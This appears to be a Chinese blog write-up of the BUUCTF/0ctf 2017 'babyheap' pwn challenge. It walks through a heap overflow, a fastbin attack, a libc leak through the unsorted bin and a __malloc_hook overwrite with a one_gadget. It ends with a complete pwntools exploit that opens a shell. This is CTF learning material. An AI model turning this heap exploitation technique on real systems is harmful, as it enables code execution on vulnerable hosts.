[BUUCTF]PWN——babyheap_0ctf_2017
[BUUCTF]PWN——babyheap_0ctf_2017
步骤:
例行检查,64位,保护全开
试运行一下程序,看到这个布局菜单,知道了这是一道堆的题目,第一次接触堆的小伙伴可以去看一下这个视频,我也刚接触堆不久,有些地方我也讲不清楚
ida载入,先看一下main函数,做堆题的时候需要将程序给理清楚了,这边的几个选项函数一开始不是如图所示的,我们可以右击给他重新命名一下,为了让我们看的更清楚
add,就是简单的创建一个chunk
在创建堆时有一个结构体,这个结构体大概是这样的:
struct pr_heap
{
double alloc_or_not; #0或者1,表示是否分配(0表示没有分配,1表示分配)
double size; #创建chunk的大小
void *heap; #chunk的内存地址
};
edit,我们写入数据的长度是我们可以自己控制的,我们可以利用这点溢出到另一个堆块上
free,普通的释放chunk的过程
show
利用思路
两次 double free 与 fastbin attack 。
第一次先泄露 libc 地址,然后找到构造 fake chunk 的地址。
第二次通过构造的 fake chunk 堆溢出覆写 __malloc_hook 完成 get shell 。
关于堆的一些参数看一下这篇文章
利用过程
1、通过unsortedbin attack 来泄露libc地址
首先应该记住这样一条规律:当small chunk被释放时,它的fd、bk指向一个指针,这个指针指向top chunk地址,这个指针保存在main_arena的0x58偏移处,而main_arena是libc的data段中,是全局静态变量,所以偏移也是固定的,根据这些就可以计算出libc的基地址了,所以重点是当small chunk释放时,能读出fd 或者 bk的值
我首先通过如下重叠两个块来泄漏libc的地址(也是常见的攻击)。
提前申请几个小堆块
alloc(0x10)
alloc(0x10)
alloc(0x10)
alloc(0x10)
alloc(0x80)
free两个fast bin
free(1)
free(2)
由于 fastbin 是 LIFO ,切是单向链表链接的(依赖 fd 指针链接下一个 fastbin)
所ifree 2个fast bin,第二个fast bin的fd会指向第一个fast bin
然后向index=0的内存填充数据,由于堆溢出的漏洞,可以覆盖后边的内存。我们把 chunk 2 的内容覆盖为 chunk 4 的地址
将如图标记处修改为chuk4的地址,只用修改低8字节即可
payload = p64(0)*3+p64(0x21)+p64(0)*3+p64(0x21)+p8(0x80)
fill(0, payload)
修改后
现在chunk2的fd指向了chunk4,这样相当于 chunk 4 已经被 free 了而且被存放在 fastbin 中。
我们等下要 malloc 回 chunk 4 ,可是 malloc fastbin 有检查, chunksize 必须与相应的 fastbin_index 匹配,所以我们覆盖 chunk 4 的 size 为 fastbin 大小来通过检查,然后通过两次(因为fast bin是单链表)alloc,就可以small chunk放入fast bin中了
payload = p64(0)*3+p64(0x21)
fill(3, payload)
alloc(0x10)
alloc(0x10)
chunk4被我们修改成了fastbin
这样就有2个指针指向同一个chunk了,然后恢复其size大小,申请回来在释放掉(释放时,是当做small bin释放的),接着查看对应chunk的index就好了
payload = p64(0)*3+p64(0x91)
fill(3, payload)
alloc(0x80)
free(4)
unsortbin 有一个特性,就是如果 usortbin 只有一个 bin ,它的 fd 和 bk 指针会指向同一个地址(unsorted bin 链表的头部),这个地址为 main_arena + 0x58 ,而且 main_arena 又相对 libc 固定偏移 0x3c4b20 ,所以得到这个fd的值,然后减去0x58再减去main_arena相对于libc的固定偏移,即得到libc的基地址。
libc_base = u64(dump(2)[:8].strip().ljust(8, "\x00"))-0x3c4b78
log.info("libc_base: "+hex(libc_base))
0x3c4b78?
libc_base=(程序里的main_arena+88)-0x3c4b78(0x3c4b0+88,一般2.23_64的偏移都是这个,不同libc版本会有不同)](https://editor.csdn.net/md/?articleId=111307531)
index=2?
由于我们刚刚把 chunk 2 的 fd 指针改为 chunk 4 的地址,所以第一次 malloc(0x10) 的时候是分配的原来 chunk 2 的块给 index 1,第二次 malloc(0x10) 的时候就会分配 chunk 4 的块给 index 2,也就是说 index 2 与 index 4 的内容都是 chunk 4)
到这里我们能够获得libc_base了
2、 改写malloc_hook为one_gadget
获得了 libc 地址,我们可以使用 fastbin attack 将一个 libc 上的地址放入 fastbin 链表中,然后 malloc 出来,这样就可已改写 libc 的内容。malloc_hook 是一个 libc 上的函数指针,调用 malloc 时如果该指针不为空则执行它指向的函数,可以通过写 malloc_hook 来 getshell。
同样的,这里我们也要绕过 malloc 的安全检查,chunksize 必须与 fastbin_index 相对应,初看 __malloc_hook 附近没有合适的 chunksize,这里需要巧妙的偏移一下。
可以发现在 0x7f2a8a09eaed 处构造块可以绕过检测(因为 7f 满足 0x70 大小),可以计算 0x7f2a8a09eaed 距离 libc 基址的偏移为 0x3c4aed
alloc(0x60)
free(4)
payload = p64(libc_base+0x3c4aed)
fill(2, payload)
接着将malloc_hook改为one_gadget,这样我们在malloc的时候就能够获取shell了
alloc(0x60)
alloc(0x60)
payload = p8(0)*3+p64(0)*2+p64(libc_base+0x4526a)
fill(6, payload)
alloc(255)
完整EXP:
from pwn import *
import sys
context.log_level = "debug"
elf = ELF("./babyheap_0ctf_2017")
libc = ELF("./libc-2.23 .so")
p = process("./babyheap_0ctf_2017")
#p=remote('node3.buuoj.cn',29218)
def alloc(size):
p.recvuntil("Command: ")
p.sendline("1")
p.recvuntil("Size: ")
p.sendline(str(size))
def fill(idx, content):
p.recvuntil("Command: ")
p.sendline("2")
p.recvuntil("Index: ")
p.sendline(str(idx))
p.recvuntil("Size: ")
p.sendline(str(len(content)))
p.recvuntil("Content: ")
p.send(content)
def free(idx):
p.recvuntil("Command: ")
p.sendline("3")
p.recvuntil("Index: ")
p.sendline(str(idx))
def dump(idx):
p.recvuntil("Command: ")
p.sendline("4")
p.recvuntil("Index: ")
p.sendline(str(idx))
p.recvline()
return p.recvline()
alloc(0x10)
alloc(0x10)
alloc(0x10)
alloc(0x10)
alloc(0x80)
#gdb.attach(p)
free(1)
free(2)
#gdb.attach(p)
payload = p64(0)*3+p64(0x21)+p64(0)*3+p64(0x21)+p8(0x80)
fill(0, payload)
#gdb.attach(p)
payload = p64(0)*3+p64(0x21)
fill(3, payload)
#gdb.attach(p)
alloc(0x10)
alloc(0x10)
#gdb.attach(p)
payload = p64(0)*3+p64(0x91)
fill(3, payload)
alloc(0x80)
free(4)
#gdb.attach(p)
libc_base = u64(dump(2)[:8].strip().ljust(8, "\x00"))-0x3c4b78
log.info("libc_base: "+hex(libc_base))
alloc(0x60)
free(4)
payload = p64(libc_base+0x3c4aed)
fill(2, payload)
alloc(0x60)
alloc(0x60)
payload = p8(0)*3+p64(0)*2+p64(libc_base+0x4526a)
fill(6, payload)
alloc(255)
p.interactive()
参考wp:
https://poning.me/2017/03/24/baby-heap-2017/
https://uaf.io/exploitation/2017/03/19/0ctf-Quals-2017-BabyHeap2017.html
https://bbs.pediy.com/thread-223461.htm
[BUUCTF]PWN——babyheap_0ctf_2017的更多相关文章
- (buuctf) - pwn入门部分wp - rip -- pwn1_sctf_2016
[buuctf]pwn入门 pwn学习之路引入 栈溢出引入 test_your_nc [题目链接] 注意到 Ubuntu 18, Linux系统 . nc 靶场 nc node3.buuoj.cn 2 ...
- [BUUCTF]PWN——hitcontraining_uaf
[BUUCTF]--hitcontraining_uaf 附件 步骤: 例行检查,32位,开启了nx保护 试运行一下程序,非常常见的创建堆块的菜单 32位ida载入分析,shift+f12查看程序里的 ...
- BUUCTF PWN部分题目wp
pwn好难啊 PWN 1,连上就有flag的pwnnc buuoj.cn 6000得到flag 2,RIP覆盖一下用ida分析一下,发现已有了system,只需覆盖RIP为fun()的地址,用peda ...
- buuctf --pwn part2
pwn难啊! 1.[OGeek2019]babyrop 先check一下文件,开启了NX 在ida中没有找到system.'/bin/sh'等相关的字符,或许需要ROP绕过(废话,题目提示了) 查看到 ...
- buuctf pwn wp---part1
pwn难啊 1.test_your_nc 测试你nc,不用说,连上就有. 2.rip ida中已经包含了system函数: 溢出,覆盖rip为fun函数,peda计算偏移为23: from pwn i ...
- [BUUCTF]PWN——pwnable_hacknote
pwnable_hacknote 附件 步骤: 例行检查,32位程序,开启了nx和canary保护 本地试运行看一下大概的情况,熟悉的堆的菜单 32位ida载入 add() gdb看一下堆块的布局更方 ...
- [BUUCTF]PWN——ciscn_2019_es_7[详解]
ciscn_2019_es_7 附件 步骤: 例行检查,64位程序,开启了nx保护 本地试运行一下看看大概的情况 64位ida载入,关键函数很简单,两个系统调用,buf存在溢出 看到系统调用和溢出,想 ...
- [BUUCTF]PWN——mrctf2020_easyoverflow
mrctf2020_easyoverflow 附件 步骤: 例行检查,64位程序,保护全开 本地试运行的时候就直接一个输入,然后就没了,直接用64位ida打开 只要满足18行的条件,就能够获取shel ...
- [BUUCTF]PWN——0ctf_2017_babyheap
0ctf_2017_babyheap 附件 步骤: 例行检查,64位程序,保护全开 本地试运行一下,看看大概的情况,经典的堆题的菜单 main函数 add() edit() delete() show ...
随机推荐
- [loj539]旅游路线
考虑枚举加油的位置,当确定某次在第$i$个位置加油后,且下一次到$j$加油,那么$i$到$j$必然会选择不超过$c_{i}$条边且最长的路径,记作$d_{i,j}$ 如果能求出$d_{i,j}$,再设 ...
- [luogu5163]WD与地图
将删边改为插边,如果是无向图直接线段树合并即可,考虑如何将有向边转换为无向边 令$t_{i}$表示当插入到第$t_{i}$条边时恰好满足$x_{i}$与$y_{i}$在同一个强连通分量中,然后分类讨论 ...
- [nowcoder5669E]Eliminate++
枚举$a_{i}$并判断是否可行,有以下结论:若$a_{i}$可以留下来,一定存在一种合法方案使得$a_{i}$仅参与最后若干次合并,且第一次参与合并前左右都不超过2个数 证明:将大于$a_{i}$的 ...
- FastJson测试用例
基础测试 package com.ai; import com.ai.test.daily.Student; import com.alibaba.fastjson.JSON; import com. ...
- java内部类的调用方式
public class DotThis { public class Inner{ public DotThis outer(){ return DotThis.this; }; } /* 1.第一 ...
- selenium定位元素方法汇总
#打开网页前三步 from selenium import webdriver driver=webidriver.Chrome() driver.get("https://www.baid ...
- 【JAVA】编程(6)--- 应用IO流拷贝文件夹(内含多个文件)到指定位置
此程序应用了: File 类,及其常用方法: FileInputStream,FileOutputStream类及其常用方法: 递归思维: package com.bjpowernode.javase ...
- 浅谈java中的四个核心概念--思途青岛
Java已经成为一个庞大而复杂的技术平台,对于开发人员而言,要想更好的掌握Java技术,深入理解底层的技术处理细节必不可少. 现在介绍下java的四个核心概念: 1.Java虚拟机 Java虚拟机的主 ...
- miRNA 基本知识
miRNA MicroRNA (miRNA) 是一类内生的.长度约为20-24个核苷酸的小 RNA,其在细胞内具有多种重要的调节作用.每个 miRNA 可以有多个靶基因的表达,而几个 miRNA 也 ...
- mongodb存储的基本使用
Python连接mongodb一般使用pymongo模块 1. pymongo模块的简单使用 ### MongoDB存储 ## 连接MongoDB import pymongo # 建立连接对象,2种 ...